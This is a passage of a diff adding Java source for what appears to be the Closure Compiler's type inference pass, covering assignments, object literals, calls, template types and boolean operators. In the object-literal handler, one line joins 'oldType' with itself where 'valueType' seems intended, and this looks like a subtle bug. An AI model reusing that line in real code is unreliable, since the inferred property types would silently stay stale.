+    JSDocInfo info = name.getJSDocInfo();
+    if (info != null && info.hasType()) {
+      type = info.getType().evaluate(syntacticScope, registry);
+    } else {
+      type = getNativeType(JSTypeNative.UNKNOWN_TYPE);
+    }
+    redeclareSimpleVar(scope, name, type);
+    name.setJSType(type);
+    return scope;
+  }
+
+  private FlowScope traverseAssign(Node n, FlowScope scope) {
+    Node left = n.getFirstChild();
+    Node right = n.getLastChild();
+    scope = traverseChildren(n, scope);
+
+    JSType leftType = left.getJSType();
+    JSType rightType = getJSType(right);
+    n.setJSType(rightType);
+
+    updateScopeForTypeChange(scope, left, leftType, rightType);
+    return scope;
+  }
+
+  /**
+   * Updates the scope according to the result of a type change, like
+   * an assignment or a type cast.
+   */
+  private void updateScopeForTypeChange(
+      FlowScope scope, Node left, JSType leftType, JSType resultType) {
+    Preconditions.checkNotNull(resultType);
+    switch (left.getType()) {
+      case Token.NAME:
+        String varName = left.getString();
+        Var var = syntacticScope.getVar(varName);
+
+        // When looking at VAR initializers for declared VARs, we trust
+        // the declared type over the type it's being initialized to.
+        // This has two purposes:
+        // 1) We avoid re-declaring declared variables so that built-in
+        //    types defined in externs are not redeclared.
+        // 2) When there's a lexical closure like
+        //    /** @type {?string} */ var x = null;
+        //    function f() { x = 'xyz'; }
+        //    the inference will ignore the lexical closure,
+        //    which is just wrong. This bug needs to be fixed eventually.
+        boolean isVarDeclaration = left.hasChildren();
+        if (!isVarDeclaration || var == null || var.isTypeInferred()) {
+          redeclareSimpleVar(scope, left, resultType);
+        }
+        left.setJSType(isVarDeclaration || leftType == null ?
+            resultType : null);
+
+        if (var != null && var.isTypeInferred()) {
+          JSType oldType = var.getType();
+          var.setType(oldType == null ?
+              resultType : oldType.getLeastSupertype(resultType));
+        }
+        break;
+      case Token.GETPROP:
+        String qualifiedName = left.getQualifiedName();
+        if (qualifiedName != null) {
+          scope.inferQualifiedSlot(left, qualifiedName,
+              leftType == null ? unknownType : leftType,
+              resultType);
+        }
+
+        left.setJSType(resultType);
+        ensurePropertyDefined(left, resultType);
+        break;
+    }
+  }
+
+  /**
+   * Defines a property if the property has not been defined yet.
+   */
+  private void ensurePropertyDefined(Node getprop, JSType rightType) {
+    String propName = getprop.getLastChild().getString();
+    Node obj = getprop.getFirstChild();
+    JSType nodeType = getJSType(obj);
+    ObjectType objectType = ObjectType.cast(
+        nodeType.restrictByNotNullOrUndefined());
+    if (objectType == null) {
+      registry.registerPropertyOnType(propName, nodeType);
+    } else {
+      // Don't add the property to @struct objects outside a constructor
+      if (nodeType.isStruct() && !objectType.hasProperty(propName)) {
+        if (!(obj.isThis() &&
+              getJSType(syntacticScope.getRootNode()).isConstructor())) {
+          return;
+        }
+      }
+
+      if (ensurePropertyDeclaredHelper(getprop, objectType)) {
+        return;
+      }
+
+      if (!objectType.isPropertyTypeDeclared(propName)) {
+        // We do not want a "stray" assign to define an inferred property
+        // for every object of this type in the program. So we use a heuristic
+        // approach to determine whether to infer the property.
+        //
+        // 1) If the property is already defined, join it with the previously
+        //    inferred type.
+        // 2) If this isn't an instance object, define it.
+        // 3) If the property of an object is being assigned in the constructor,
+        //    define it.
+        // 4) If this is a stub, define it.
+        // 5) Otherwise, do not define the type, but declare it in the registry
+        //    so that we can use it for missing property checks.
+        if (objectType.hasProperty(propName) || !objectType.isInstanceType()) {
+          if ("prototype".equals(propName)) {
+            objectType.defineDeclaredProperty(propName, rightType, getprop);
+          } else {
+            objectType.defineInferredProperty(propName, rightType, getprop);
+          }
+        } else if (obj.isThis() &&
+                   getJSType(syntacticScope.getRootNode()).isConstructor()) {
+          objectType.defineInferredProperty(propName, rightType, getprop);
+        } else {
+          registry.registerPropertyOnType(propName, objectType);
+        }
+      }
+    }
+  }
+
+  /**
+   * Defines a declared property if it has not been defined yet.
+   *
+   * This handles the case where a property is declared on an object where
+   * the object type is inferred, and so the object type will not
+   * be known in {@code TypedScopeCreator}.
+   */
+  private void ensurePropertyDeclared(Node getprop) {
+    ObjectType ownerType = ObjectType.cast(
+        getJSType(getprop.getFirstChild()).restrictByNotNullOrUndefined());
+    if (ownerType != null) {
+      ensurePropertyDeclaredHelper(getprop, ownerType);
+    }
+  }
+
+  /**
+   * Declares a property on its owner, if necessary.
+   * @return True if a property was declared.
+   */
+  private boolean ensurePropertyDeclaredHelper(
+      Node getprop, ObjectType objectType) {
+    String propName = getprop.getLastChild().getString();
+    String qName = getprop.getQualifiedName();
+    if (qName != null) {
+      Var var = syntacticScope.getVar(qName);
+      if (var != null && !var.isTypeInferred()) {
+        // Handle normal declarations that could not be addressed earlier.
+        if (propName.equals("prototype") ||
+        // Handle prototype declarations that could not be addressed earlier.
+            (!objectType.hasOwnProperty(propName) &&
+             (!objectType.isInstanceType() ||
+                 (var.isExtern() && !objectType.isNativeObjectType())))) {
+          return objectType.defineDeclaredProperty(
+              propName, var.getType(), getprop);
+        }
+      }
+    }
+    return false;
+  }
+
+  private FlowScope traverseName(Node n, FlowScope scope) {
+    String varName = n.getString();
+    Node value = n.getFirstChild();
+    JSType type = n.getJSType();
+    if (value != null) {
+      scope = traverse(value, scope);
+      updateScopeForTypeChange(scope, n, n.getJSType() /* could be null */,
+          getJSType(value));
+      return scope;
+    } else {
+      StaticSlot<JSType> var = scope.getSlot(varName);
+      if (var != null) {
+        // There are two situations where we don't want to use type information
+        // from the scope, even if we have it.
+
+        // 1) The var is escaped and assigned in an inner scope, e.g.,
+        // function f() { var x = 3; function g() { x = null } (x); }
+        boolean isInferred = var.isTypeInferred();
+        boolean unflowable = isInferred &&
+            isUnflowable(syntacticScope.getVar(varName));
+
+        // 2) We're reading type information from another scope for an
+        // inferred variable. That variable is assigned more than once,
+        // and we can't know which type we're getting.
+        //
+        // var t = null; function f() { (t); } doStuff(); t = {};
+        //
+        // Notice that this heuristic isn't perfect. For example, you might
+        // have:
+        //
+        // function f() { (t); } f(); var t = 3;
+        //
+        // In this case, we would infer the first reference to t as
+        // type {number}, even though it's undefined.
+        boolean nonLocalInferredSlot = false;
+        if (isInferred && syntacticScope.isLocal()) {
+          Var maybeOuterVar = syntacticScope.getParent().getVar(varName);
+          if (var == maybeOuterVar &&
+              !maybeOuterVar.isMarkedAssignedExactlyOnce()) {
+            nonLocalInferredSlot = true;
+          }
+        }
+
+        if (!unflowable && !nonLocalInferredSlot) {
+          type = var.getType();
+          if (type == null) {
+            type = unknownType;
+          }
+        }
+      }
+    }
+    n.setJSType(type);
+    return scope;
+  }
+
+  /** Traverse each element of the array. */
+  private FlowScope traverseArrayLiteral(Node n, FlowScope scope) {
+    scope = traverseChildren(n, scope);
+    n.setJSType(getNativeType(ARRAY_TYPE));
+    return scope;
+  }
+
+  private FlowScope traverseObjectLiteral(Node n, FlowScope scope) {
+    JSType type = n.getJSType();
+    Preconditions.checkNotNull(type);
+
+    for (Node name = n.getFirstChild(); name != null; name = name.getNext()) {
+      scope = traverse(name.getFirstChild(), scope);
+    }
+
+    // Object literals can be reflected on other types, or changed with
+    // type casts.
+    // See CodingConvention#getObjectLiteralCase and goog.object.reflect.
+    // Ignore these types of literals.
+    // TODO(nicksantos): There should be an "anonymous object" type that
+    // we can check for here.
+    ObjectType objectType = ObjectType.cast(type);
+    if (objectType == null) {
+      return scope;
+    }
+
+    boolean hasLendsName = n.getJSDocInfo() != null &&
+        n.getJSDocInfo().getLendsName() != null;
+    if (objectType.hasReferenceName() && !hasLendsName) {
+      return scope;
+    }
+
+    String qObjName = NodeUtil.getBestLValueName(
+        NodeUtil.getBestLValue(n));
+    for (Node name = n.getFirstChild(); name != null;
+         name = name.getNext()) {
+      String memberName = NodeUtil.getObjectLitKeyName(name);
+      if (memberName != null) {
+        JSType rawValueType =  name.getFirstChild().getJSType();
+        JSType valueType = NodeUtil.getObjectLitKeyTypeFromValueType(
+            name, rawValueType);
+        if (valueType == null) {
+          valueType = unknownType;
+        }
+        objectType.defineInferredProperty(memberName, valueType, name);
+
+        // Do normal flow inference if this is a direct property assignment.
+        if (qObjName != null && name.isStringKey()) {
+          String qKeyName = qObjName + "." + memberName;
+          Var var = syntacticScope.getVar(qKeyName);
+          JSType oldType = var == null ? null : var.getType();
+          if (var != null && var.isTypeInferred()) {
+            var.setType(oldType == null ?
+                valueType : oldType.getLeastSupertype(oldType));
+          }
+
+          scope.inferQualifiedSlot(name, qKeyName,
+              oldType == null ? unknownType : oldType,
+              valueType);
+        }
+      } else {
+        n.setJSType(unknownType);
+      }
+    }
+    return scope;
+  }
+
+  private FlowScope traverseAdd(Node n, FlowScope scope) {
+    Node left = n.getFirstChild();
+    Node right = left.getNext();
+    scope = traverseChildren(n, scope);
+
+    JSType leftType = left.getJSType();
+    JSType rightType = right.getJSType();
+
+    JSType type = unknownType;
+    if (leftType != null && rightType != null) {
+      boolean leftIsUnknown = leftType.isUnknownType();
+      boolean rightIsUnknown = rightType.isUnknownType();
+      if (leftIsUnknown && rightIsUnknown) {
+        type = unknownType;
+      } else if ((!leftIsUnknown && leftType.isString()) ||
+                 (!rightIsUnknown && rightType.isString())) {
+        type = getNativeType(STRING_TYPE);
+      } else if (leftIsUnknown || rightIsUnknown) {
+        type = unknownType;
+      } else if (isAddedAsNumber(leftType) && isAddedAsNumber(rightType)) {
+        type = getNativeType(NUMBER_TYPE);
+      } else {
+        type = registry.createUnionType(STRING_TYPE, NUMBER_TYPE);
+      }
+    }
+    n.setJSType(type);
+
+    if (n.isAssignAdd()) {
+      updateScopeForTypeChange(scope, left, leftType, type);
+    }
+
+    return scope;
+  }
+
+  private boolean isAddedAsNumber(JSType type) {
+    return type.isSubtype(registry.createUnionType(VOID_TYPE, NULL_TYPE,
+        NUMBER_VALUE_OR_OBJECT_TYPE, BOOLEAN_TYPE, BOOLEAN_OBJECT_TYPE));
+  }
+
+  private FlowScope traverseHook(Node n, FlowScope scope) {
+    Node condition = n.getFirstChild();
+    Node trueNode = condition.getNext();
+    Node falseNode = n.getLastChild();
+
+    // verify the condition
+    scope = traverse(condition, scope);
+
+    // reverse abstract interpret the condition to produce two new scopes
+    FlowScope trueScope = reverseInterpreter.
+        getPreciserScopeKnowingConditionOutcome(
+            condition, scope, true);
+    FlowScope falseScope = reverseInterpreter.
+        getPreciserScopeKnowingConditionOutcome(
+            condition, scope, false);
+
+    // traverse the true node with the trueScope
+    traverse(trueNode, trueScope.createChildFlowScope());
+
+    // traverse the false node with the falseScope
+    traverse(falseNode, falseScope.createChildFlowScope());
+
+    // meet true and false nodes' types and assign
+    JSType trueType = trueNode.getJSType();
+    JSType falseType = falseNode.getJSType();
+    if (trueType != null && falseType != null) {
+      n.setJSType(trueType.getLeastSupertype(falseType));
+    } else {
+      n.setJSType(null);
+    }
+
+    return scope.createChildFlowScope();
+  }
+
+  private FlowScope traverseCall(Node n, FlowScope scope) {
+    scope = traverseChildren(n, scope);
+
+    Node left = n.getFirstChild();
+    JSType functionType = getJSType(left).restrictByNotNullOrUndefined();
+    if (functionType.isFunctionType()) {
+      FunctionType fnType = functionType.toMaybeFunctionType();
+      n.setJSType(fnType.getReturnType());
+      backwardsInferenceFromCallSite(n, fnType);
+    } else if (functionType.isEquivalentTo(
+        getNativeType(CHECKED_UNKNOWN_TYPE))) {
+      n.setJSType(getNativeType(CHECKED_UNKNOWN_TYPE));
+    }
+
+    scope = tightenTypesAfterAssertions(scope, n);
+    return scope;
+  }
+
+  private FlowScope tightenTypesAfterAssertions(FlowScope scope,
+      Node callNode) {
+    Node left = callNode.getFirstChild();
+    Node firstParam = left.getNext();
+    AssertionFunctionSpec assertionFunctionSpec =
+        assertionFunctionsMap.get(left.getQualifiedName());
+    if (assertionFunctionSpec == null || firstParam == null) {
+      return scope;
+    }
+    Node assertedNode = assertionFunctionSpec.getAssertedParam(firstParam);
+    if (assertedNode == null) {
+      return scope;
+    }
+    JSType assertedType = assertionFunctionSpec.getAssertedType(
+        callNode, registry);
+    String assertedNodeName = assertedNode.getQualifiedName();
+
+    JSType narrowed;
+    // Handle assertions that enforce expressions evaluate to true.
+    if (assertedType == null) {
+      // Handle arbitrary expressions within the assert.
+      scope = reverseInterpreter.getPreciserScopeKnowingConditionOutcome(
+          assertedNode, scope, true);
+      // Build the result of the assertExpression
+      narrowed = getJSType(assertedNode).restrictByNotNullOrUndefined();
+    } else {
+      // Handle assertions that enforce expressions are of a certain type.
+      JSType type = getJSType(assertedNode);
+      narrowed = type.getGreatestSubtype(assertedType);
+      if (assertedNodeName != null && type.differsFrom(narrowed)) {
+        scope = narrowScope(scope, assertedNode, narrowed);
+      }
+    }
+
+    callNode.setJSType(narrowed);
+    return scope;
+  }
+
+  private FlowScope narrowScope(FlowScope scope, Node node, JSType narrowed) {
+    if (node.isThis()) {
+      // "this" references don't need to be modeled in the control flow graph.
+      return scope;
+    }
+
+    scope = scope.createChildFlowScope();
+    if (node.isGetProp()) {
+      scope.inferQualifiedSlot(
+          node, node.getQualifiedName(), getJSType(node), narrowed);
+    } else {
+      redeclareSimpleVar(scope, node, narrowed);
+    }
+    return scope;
+  }
+
+  /**
+   * We only do forward type inference. We do not do full backwards
+   * type inference.
+   *
+   * In other words, if we have,
+   * <code>
+   * var x = f();
+   * g(x);
+   * </code>
+   * a forward type-inference engine would try to figure out the type
+   * of "x" from the return type of "f". A backwards type-inference engine
+   * would try to figure out the type of "x" from the parameter type of "g".
+   *
+   * However, there are a few special syntactic forms where we do some
+   * some half-assed backwards type-inference, because programmers
+   * expect it in this day and age. To take an example from Java,
+   * <code>
+   * List<String> x = Lists.newArrayList();
+   * </code>
+   * The Java compiler will be able to infer the generic type of the List
+   * returned by newArrayList().
+   *
+   * In much the same way, we do some special-case backwards inference for
+   * JS. Those cases are enumerated here.
+   */
+  private void backwardsInferenceFromCallSite(Node n, FunctionType fnType) {
+    boolean updatedFnType = inferTemplatedTypesForCall(n, fnType);
+    if (updatedFnType) {
+      fnType = n.getFirstChild().getJSType().toMaybeFunctionType();
+    }
+    updateTypeOfParameters(n, fnType);
+    updateBind(n);
+  }
+
+  /**
+   * When "bind" is called on a function, we infer the type of the returned
+   * "bound" function by looking at the number of parameters in the call site.
+   */
+  private void updateBind(Node n) {
+    CodingConvention.Bind bind =
+        compiler.getCodingConvention().describeFunctionBind(n, true);
+    if (bind == null) {
+      return;
+    }
+
+    FunctionType callTargetFn = getJSType(bind.target)
+        .restrictByNotNullOrUndefined().toMaybeFunctionType();
+    if (callTargetFn == null) {
+      return;
+    }
+
+    n.setJSType(
+        callTargetFn.getBindReturnType(
+            // getBindReturnType expects the 'this' argument to be included.
+            bind.getBoundParameterCount() + 1));
+  }
+
+  /**
+   * For functions with function parameters, type inference will set the type of
+   * a function literal argument from the function parameter type.
+   */
+  private void updateTypeOfParameters(Node n, FunctionType fnType) {
+    int i = 0;
+    int childCount = n.getChildCount();
+    for (Node iParameter : fnType.getParameters()) {
+      if (i + 1 >= childCount) {
+        // TypeCheck#visitParametersList will warn so we bail.
+        return;
+      }
+
+      JSType iParameterType = getJSType(iParameter);
+      Node iArgument = n.getChildAtIndex(i + 1);
+      JSType iArgumentType = getJSType(iArgument);
+      inferPropertyTypesToMatchConstraint(iArgumentType, iParameterType);
+
+      // TODO(johnlenz): Filter out non-function types
+      // (such as null and undefined) as
+      // we only care about FUNCTION subtypes here.
+      JSType restrictedParameter = iParameterType
+          .restrictByNotNullOrUndefined()
+          .toMaybeFunctionType();
+      if (restrictedParameter != null) {
+        if (iArgument.isFunction() &&
+            iArgumentType.isFunctionType() &&
+            iArgument.getJSDocInfo() == null) {
+          iArgument.setJSType(restrictedParameter);
+        }
+      }
+      i++;
+    }
+  }
+
+  private Map<TemplateType, JSType> inferTemplateTypesFromParameters(
+      FunctionType fnType, Node call) {
+    if (fnType.getTemplateTypeMap().getTemplateKeys().isEmpty()) {
+      return Collections.emptyMap();
+    }
+
+    Map<TemplateType, JSType> resolvedTypes = Maps.newIdentityHashMap();
+
+    Node callTarget = call.getFirstChild();
+    if (NodeUtil.isGet(callTarget)) {
+      Node obj = callTarget.getFirstChild();
+      maybeResolveTemplatedType(
+          fnType.getTypeOfThis(),
+          getJSType(obj),
+          resolvedTypes);
+    }
+
+    if (call.hasMoreThanOneChild()) {
+      maybeResolveTemplateTypeFromNodes(
+          fnType.getParameters(),
+          call.getChildAtIndex(1).siblings(),
+          resolvedTypes);
+    }
+    return resolvedTypes;
+  }
+
+  private void maybeResolveTemplatedType(
+      JSType paramType,
+      JSType argType,
+      Map<TemplateType, JSType> resolvedTypes) {
+    if (paramType.isTemplateType()) {
+      // @param {T}
+      resolvedTemplateType(
+          resolvedTypes, paramType.toMaybeTemplateType(), argType);
+    } else if (paramType.isUnionType()) {
+      // @param {Array.<T>|NodeList|Arguments|{length:number}}
+      UnionType unionType = paramType.toMaybeUnionType();
+      for (JSType alernative : unionType.getAlternates()) {
+        maybeResolveTemplatedType(alernative, argType, resolvedTypes);
+      }
+    } else if (paramType.isFunctionType()) {
+      FunctionType paramFunctionType = paramType.toMaybeFunctionType();
+      FunctionType argFunctionType = argType
+          .restrictByNotNullOrUndefined()
+          .collapseUnion()
+          .toMaybeFunctionType();
+      if (argFunctionType != null && argFunctionType.isSubtype(paramType)) {
+        // infer from return type of the function type
+        maybeResolveTemplatedType(
+            paramFunctionType.getTypeOfThis(),
+            argFunctionType.getTypeOfThis(), resolvedTypes);
+        // infer from return type of the function type
+        maybeResolveTemplatedType(
+            paramFunctionType.getReturnType(),
+            argFunctionType.getReturnType(), resolvedTypes);
+        // infer from parameter types of the function type
+        maybeResolveTemplateTypeFromNodes(
+            paramFunctionType.getParameters(),
+            argFunctionType.getParameters(), resolvedTypes);
+      }
+    } else if (paramType.isTemplatizedType()) {
+      // @param {Array.<T>}
+      ObjectType referencedParamType = paramType
+          .toMaybeTemplatizedType()
+          .getReferencedType();
+      JSType argObjectType = argType
+          .restrictByNotNullOrUndefined()
+          .collapseUnion();
+
+      if (argObjectType.isSubtype(referencedParamType)) {
+        // If the argument type is a subtype of the parameter type, resolve any
+        // template types amongst their templatized types.
+        TemplateTypeMap paramTypeMap = paramType.getTemplateTypeMap();
+        TemplateTypeMap argTypeMap = argObjectType.getTemplateTypeMap();
+        for (TemplateType key : paramTypeMap.getTemplateKeys()) {
+          maybeResolveTemplatedType(
+              paramTypeMap.getTemplateType(key),
+              argTypeMap.getTemplateType(key),
+              resolvedTypes);
+        }
+      }
+    }
+  }
+
+  private void maybeResolveTemplateTypeFromNodes(
+      Iterable<Node> declParams,
+      Iterable<Node> callParams,
+      Map<TemplateType, JSType> resolvedTypes) {
+    maybeResolveTemplateTypeFromNodes(
+        declParams.iterator(), callParams.iterator(), resolvedTypes);
+  }
+
+  private void maybeResolveTemplateTypeFromNodes(
+      Iterator<Node> declParams,
+      Iterator<Node> callParams,
+      Map<TemplateType, JSType> resolvedTypes) {
+    while (declParams.hasNext() && callParams.hasNext()) {
+      Node declParam = declParams.next();
+      maybeResolveTemplatedType(
+          getJSType(declParam),
+          getJSType(callParams.next()),
+          resolvedTypes);
+      if (declParam.isVarArgs()) {
+        while (callParams.hasNext()) {
+          maybeResolveTemplatedType(
+              getJSType(declParam),
+              getJSType(callParams.next()),
+              resolvedTypes);
+        }
+      }
+    }
+  }
+
+  private void resolvedTemplateType(
+      Map<TemplateType, JSType> map, TemplateType template, JSType resolved) {
+    JSType previous = map.get(template);
+    if (!resolved.isUnknownType()) {
+      if (previous == null) {
+        map.put(template, resolved);
+      } else {
+        JSType join = previous.getLeastSupertype(resolved);
+        map.put(template, join);
+      }
+    }
+  }
+
+  private static class TemplateTypeReplacer extends ModificationVisitor {
+    private final Map<TemplateType, JSType> replacements;
+    private final JSTypeRegistry registry;
+    boolean madeChanges = false;
+
+    TemplateTypeReplacer(
+        JSTypeRegistry registry, Map<TemplateType, JSType> replacements) {
+      super(registry);
+      this.registry = registry;
+      this.replacements = replacements;
+    }
+
+    @Override
+    public JSType caseTemplateType(TemplateType type) {
+      madeChanges = true;
+      JSType replacement = replacements.get(type);
+      return replacement != null ?
+          replacement : registry.getNativeType(UNKNOWN_TYPE);
+    }
+  }
+
+  /**
+   * For functions with function(this: T, ...) and T as parameters, type
+   * inference will set the type of this on a function literal argument to the
+   * the actual type of T.
+   */
+  private boolean inferTemplatedTypesForCall(
+      Node n, FunctionType fnType) {
+    if (fnType.getTemplateTypeMap().getTemplateKeys().isEmpty()) {
+      return false;
+    }
+
+    // Try to infer the template types
+    Map<TemplateType, JSType> inferred = inferTemplateTypesFromParameters(
+        fnType, n);
+
+    // Replace all template types. If we couldn't find a replacement, we
+    // replace it with UNKNOWN.
+    TemplateTypeReplacer replacer = new TemplateTypeReplacer(
+        registry, inferred);
+    Node callTarget = n.getFirstChild();
+
+    FunctionType replacementFnType = fnType.visit(replacer)
+        .toMaybeFunctionType();
+    Preconditions.checkNotNull(replacementFnType);
+
+    callTarget.setJSType(replacementFnType);
+    n.setJSType(replacementFnType.getReturnType());
+
+    return replacer.madeChanges;
+  }
+
+  private FlowScope traverseNew(Node n, FlowScope scope) {
+    scope = traverseChildren(n, scope);
+
+    Node constructor = n.getFirstChild();
+    JSType constructorType = constructor.getJSType();
+    JSType type = null;
+    if (constructorType != null) {
+      constructorType = constructorType.restrictByNotNullOrUndefined();
+      if (constructorType.isUnknownType()) {
+        type = unknownType;
+      } else {
+        FunctionType ct = constructorType.toMaybeFunctionType();
+        if (ct == null && constructorType instanceof FunctionType) {
+          // If constructorType is a NoObjectType, then toMaybeFunctionType will
+          // return null. But NoObjectType implements the FunctionType
+          // interface, precisely because it can validly construct objects.
+          ct = (FunctionType) constructorType;
+        }
+        if (ct != null && ct.isConstructor()) {
+          type = ct.getInstanceType();
+          backwardsInferenceFromCallSite(n, ct);
+        }
+      }
+    }
+    n.setJSType(type);
+    return scope;
+  }
+
+  private BooleanOutcomePair traverseAnd(Node n, FlowScope scope) {
+    return traverseShortCircuitingBinOp(n, scope, true);
+  }
+
+  private FlowScope traverseChildren(Node n, FlowScope scope) {
+    for (Node el = n.getFirstChild(); el != null; el = el.getNext()) {
+      scope = traverse(el, scope);
+    }
+    return scope;
+  }
+
+  private FlowScope traverseGetElem(Node n, FlowScope scope) {
+    scope = traverseChildren(n, scope);
+    JSType type = getJSType(n.getFirstChild()).restrictByNotNullOrUndefined();
+    TemplateTypeMap typeMap = type.getTemplateTypeMap();
+    if (typeMap.hasTemplateType(registry.getObjectElementKey())) {
+      n.setJSType(typeMap.getTemplateType(registry.getObjectElementKey()));
+    }
+    return dereferencePointer(n.getFirstChild(), scope);
+  }
+
+  private FlowScope traverseGetProp(Node n, FlowScope scope) {
+    Node objNode = n.getFirstChild();
+    Node property = n.getLastChild();
+    scope = traverseChildren(n, scope);
+
+    n.setJSType(
+        getPropertyType(
+            objNode.getJSType(), property.getString(), n, scope));
+    return dereferencePointer(n.getFirstChild(), scope);
+  }
+
+  /**
+   * Suppose X is an object with inferred properties.
+   * Suppose also that X is used in a way where it would only type-check
+   * correctly if some of those properties are widened.
+   * Then we should be polite and automatically widen X's properties for him.
+   *
+   * For a concrete example, consider:
+   * param x {{prop: (number|undefined)}}
+   * function f(x) {}
+   * f({});
+   *
+   * If we give the anonymous object an inferred property of (number|undefined),
+   * then this code will type-check appropriately.
+   */
+  private void inferPropertyTypesToMatchConstraint(
+      JSType type, JSType constraint) {
+    if (type == null || constraint == null) {
+      return;
+    }
+
+    type.matchConstraint(constraint);
+  }
+
+  /**
+   * If we access a property of a symbol, then that symbol is not
+   * null or undefined.
+   */
+  private FlowScope dereferencePointer(Node n, FlowScope scope) {
+    if (n.isQualifiedName()) {
+      JSType type = getJSType(n);
+      JSType narrowed = type.restrictByNotNullOrUndefined();
+      if (type != narrowed) {
+        scope = narrowScope(scope, n, narrowed);
+      }
+    }
+    return scope;
+  }
+
+  private JSType getPropertyType(JSType objType, String propName,
+      Node n, FlowScope scope) {
+    // We often have a couple of different types to choose from for the
+    // property. Ordered by accuracy, we have
+    // 1) A locally inferred qualified name (which is in the FlowScope)
+    // 2) A globally declared qualified name (which is in the FlowScope)
+    // 3) A property on the owner type (which is on objType)
+    // 4) A name in the type registry (as a last resort)
+    JSType propertyType = null;
+    boolean isLocallyInferred = false;
+
+    // Scopes sometimes contain inferred type info about qualified names.
+    String qualifiedName = n.getQualifiedName();
+    StaticSlot<JSType> var = scope.getSlot(qualifiedName);
+    if (var != null) {
+      JSType varType = var.getType();
+      if (varType != null) {
+        boolean isDeclared = !var.isTypeInferred();
+        isLocallyInferred = (var != syntacticScope.getSlot(qualifiedName));
+        if (isDeclared || isLocallyInferred) {
+          propertyType = varType;
+        }
+      }
+    }
+
+    if (propertyType == null && objType != null) {
+      JSType foundType = objType.findPropertyType(propName);
+      if (foundType != null) {
+        propertyType = foundType;
+      }
+    }
+
+    if ((propertyType == null || propertyType.isUnknownType())
+        && qualifiedName != null) {
+      // If we find this node in the registry, then we can infer its type.
+      ObjectType regType = ObjectType.cast(registry.getType(qualifiedName));
+      if (regType != null) {
+        propertyType = regType.getConstructor();
+      }
+    }
+
+    if (propertyType == null) {
+      return unknownType;
+    } else if (propertyType.isEquivalentTo(unknownType) && isLocallyInferred) {
+      // If the type has been checked in this scope,
+      // then use CHECKED_UNKNOWN_TYPE instead to indicate that.
+      return getNativeType(CHECKED_UNKNOWN_TYPE);
+    } else {
+      return propertyType;
+    }
+  }
+
+  private BooleanOutcomePair traverseOr(Node n, FlowScope scope) {
+    return traverseShortCircuitingBinOp(n, scope, false);
+  }
+
+  private BooleanOutcomePair traverseShortCircuitingBinOp(
+      Node n, FlowScope scope, boolean condition) {
+    Node left = n.getFirstChild();
+    Node right = n.getLastChild();
+
+    // type the left node
+    BooleanOutcomePair leftLiterals =
+        traverseWithinShortCircuitingBinOp(left,
+            scope.createChildFlowScope());
+    JSType leftType = left.getJSType();
+
+    // reverse abstract interpret the left node to produce the correct
+    // scope in which to verify the right node
+    FlowScope rightScope = reverseInterpreter.
+        getPreciserScopeKnowingConditionOutcome(
+            left, leftLiterals.getOutcomeFlowScope(left.getType(), condition),
+            condition);
+
+    // type the right node
+    BooleanOutcomePair rightLiterals =
+        traverseWithinShortCircuitingBinOp(
+            right, rightScope.createChildFlowScope());
+    JSType rightType = right.getJSType();
+
+    JSType type;
+    BooleanOutcomePair literals;
+    if (leftType != null && rightType != null) {
+      leftType = leftType.getRestrictedTypeGivenToBooleanOutcome(!condition);
+      if (leftLiterals.toBooleanOutcomes ==
+          BooleanLiteralSet.get(!condition)) {
+        // Use the restricted left type, since the right side never gets
+        // evaluated.
+        type = leftType;
+        literals = leftLiterals;
+      } else {
+        // Use the join of the restricted left type knowing the outcome of the
+        // ToBoolean predicate and of the right type.
+        type = leftType.getLeastSupertype(rightType);
+        literals =
+            getBooleanOutcomePair(leftLiterals, rightLiterals, condition);
+      }
+
+      // Exclude the boolean type if the literal set is empty because a boolean
+      // can never actually be returned.
+      if (literals.booleanValues == BooleanLiteralSet.EMPTY &&
+          getNativeType(BOOLEAN_TYPE).isSubtype(type)) {
+        // Exclusion only make sense for a union type.
+        if (type.isUnionType()) {
+          type = type.toMaybeUnionType().getRestrictedUnion(
+              getNativeType(BOOLEAN_TYPE));
+        }
+      }
+    } else {
+      type = null;
+      literals = new BooleanOutcomePair(
+          BooleanLiteralSet.BOTH, BooleanLiteralSet.BOTH,
+          leftLiterals.getJoinedFlowScope(),
+          rightLiterals.getJoinedFlowScope());
+    }
+    n.setJSType(type);
+
+    return literals;
+  }
+
+  private BooleanOutcomePair traverseWithinShortCircuitingBinOp(Node n,
+      FlowScope scope) {
+    switch (n.getType()) {
+      case Token.AND:
+        return traverseAnd(n, scope);
+
+      case Token.OR:
+        return traverseOr(n, scope);
+
+      default:
+        scope = traverse(n, scope);
+        return newBooleanOutcomePair(n.getJSType(), scope);
+    }
+  }
+
+  /**
+   * Infers the boolean outcome pair that can be taken by a
+   * short-circuiting binary operation ({@code &&} or {@code ||}).
+   * @see #getBooleanOutcomes(BooleanLiteralSet, BooleanLiteralSet, boolean)
+   */
+  BooleanOutcomePair getBooleanOutcomePair(BooleanOutcomePair left,
+      BooleanOutcomePair right, boolean condition) {
+    return new BooleanOutcomePair(
+        getBooleanOutcomes(left.toBooleanOutcomes, right.toBooleanOutcomes,
+                           condition),
+        getBooleanOutcomes(left.booleanValues, right.booleanValues, condition),
+        left.getJoinedFlowScope(), right.getJoinedFlowScope());
+  }
+
+  /**
+   * Infers the boolean literal set that can be taken by a
+   * short-circuiting binary operation ({@code &&} or {@code ||}).
+   * @param left the set of possible {@code ToBoolean} predicate results for
+   *    the expression on the left side of the operator
+   * @param right the set of possible {@code ToBoolean} predicate results for
+   *    the expression on the right side of the operator
+   * @param condition the left side {@code ToBoolean} predicate result that
+   *    causes the right side to get evaluated (i.e. not short-circuited)
+   * @return a set of possible {@code ToBoolean} predicate results for the
+   *    entire expression
+   */
+  static BooleanLiteralSet getBooleanOutcomes(BooleanLiteralSet left,
+      BooleanLiteralSet right, boolean condition) {
+    return right.union(left.intersection(BooleanLiteralSet.get(!condition)));
+  }
+
+  /**
+   * When traversing short-circuiting binary operations, we need to keep track
+   * of two sets of boolean literals:
+   * 1. {@code toBooleanOutcomes}: boolean literals as converted from any types,
+   * 2. {@code booleanValues}: boolean literals from just boolean types.
+   */
+  private final class BooleanOutcomePair {
+    final BooleanLiteralSet toBooleanOutcomes;
+    final BooleanLiteralSet booleanValues;
+
+    // The scope if only half of the expression executed, when applicable.
+    final FlowScope leftScope;
+
+    // The scope when the whole expression executed.
+    final FlowScope rightScope;
+
+    // The scope when we don't know how much of the expression is executed.
+    FlowScope joinedScope = null;
+
+    BooleanOutcomePair(
+        BooleanLiteralSet toBooleanOutcomes, BooleanLiteralSet booleanValues,
+        FlowScope leftScope, FlowScope rightScope) {
